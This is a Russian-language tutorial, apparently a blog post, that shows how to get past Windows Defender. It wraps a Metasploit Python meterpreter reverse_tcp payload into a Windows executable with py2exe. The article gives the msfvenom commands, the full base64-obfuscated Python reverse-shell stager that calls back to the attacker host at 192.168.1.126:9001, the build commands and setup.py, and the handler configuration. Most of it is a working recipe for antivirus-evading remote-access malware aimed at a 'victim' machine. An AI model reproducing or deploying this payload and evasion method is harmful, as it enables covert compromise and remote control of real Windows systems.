Обходим Windows Defender дешево и сердито: через meterpreter сессию с python
Всем привет. Сегодня рассмотрим вариант запуска meterpreter сессии на машине Windows 10 с самыми свежими патчами (включая Windows Defender). И все также будем обходить антивирусы. Meterpreter — расширенная многофункциональная начинка (payload, нагрузка), которая может быть динамически расширена во время выполнения. В нормальных условиях это обеспечивает вас основной оболочкой и позволяет вам добавлять новые особенности к ней по мере необходимости.
Будем мы это делать с помощью Python, и посмотрим, как поведут себя антивирусные средства.
Предугадывая вопрос «А нужен ли нам Python на машине жертвы для запуска ехе?», отвечу сразу — нет, не нужен, все уже внутри.
В данной статье мы будем использовать:
- Windows 10 с включенным Windows Defender с обновленными базами (компьютер жертвы 192.168.1.113);
- Kali linux для использования metasploit и msfvenom (192.168.1.126);
- Windows 10 для сборки бинарника (в нашей лаборатории совпадает с компьютером жертвы) с установленными;
- Python (3, но и для 2 тоже посмотрим);
- py2exe.
Для начала обозначим проблему: создадим exe файл со стандартной нагрузкой, скопируем на машину жертвы и посмотрим к чему это приведёт.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.126 LPORT=9001 -f exe > hunt.exe
Мы получаем предупреждение от нашего старого друга Windows Defender, которого мы так все любим.
Если спросим у VirusTotal, то он скажет следующее:
Давайте запустим Python и сделаем то, ради чего мы все тут собрались.
Python/meterpreter/reverse_tcp — это уникальный кроссплатформенный payload Metasploit Framework, который позволяет удаленно управлять скомпрометированным компьютером. Не нужно думать о том, какую платформу выбрать, он сработает на любой, но в данном случае сделаем из него исполняемый файл под Windows.
Для начала установим пакет py2exe, который позволяет сделать исполняемый файл Windows из Python скрипта.
У нас это будет Python 3.4 (все что выше — не поддерживает py2exe).
py -3.4 –m pip install py2exe
или
pip install py2exe
Далее создадим «сырой» питоновский код с расширением .py
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.126 LPORT=9001 -f raw > hunt.py
Так же в вывод msfvenom нам необходимо добавить импорт getpass, который он забывает сделать сам. В итоге получиться должно так:
import getpass,base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMS4xMjYnLDkwMDEpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKGQseydzJzpzfSkK')))
Теперь у нас все готово для создания бинарника.
python34 -m py2exe.build_exe hunt.py --bundle-files 0
Должны получить следующее:
Давайте еще раз обратимся к VirusTotal:
Уже лучше, теперь проверим это в действии — после копирования на машину жертвы обходимся без алертов.
Параллельно запустим наш msf и handler для питона, запустив последовательно команды:
msfconsole
use exploit/multi/handler
set PAYLOAD python/meterpreter/reverse_tcp
set lhost 192.168.1.126
set lport 9001
run
Пойдем дальше и убедимся, что сессия работает корректно.
Таким образом сессия запущена и Windows Defender не сработал, чего мы и добивались.
Заодно давайте рассмотрим, что делать, если у вас Python 2ой версии.
- Качаем py2exe для python 2
- Генерируем payload с расширением .py
- Создаем файл setup.py и пишем туда следующее:
from distutils.core import setup import py2exe setup( name = ‘Meter’, description = ‘Python-based App’, version = ‘1.0’, console=[‘hunt.py’], options = {‘py2exe’: {‘bundle_files’: 1,’packages’:’ctypes’,’includes’: ‘base64,sys,socket,struct,time,code,platform,getpass,shutil’,}}, zipfile = None, )
-
python.exe .\setup.py py2exe
Должно получиться все то же самое.
В качестве итога замечу, что оболочка python meterpreter уступает по функционалу более привычному windows meterpreter. Например, не получится мигрировать в процесс или использовать команды типа getsystem, но все же это реальная альтернатива: получить сессию для работы с msf (routing и portfwd как минимум) и далее работать внутри сети.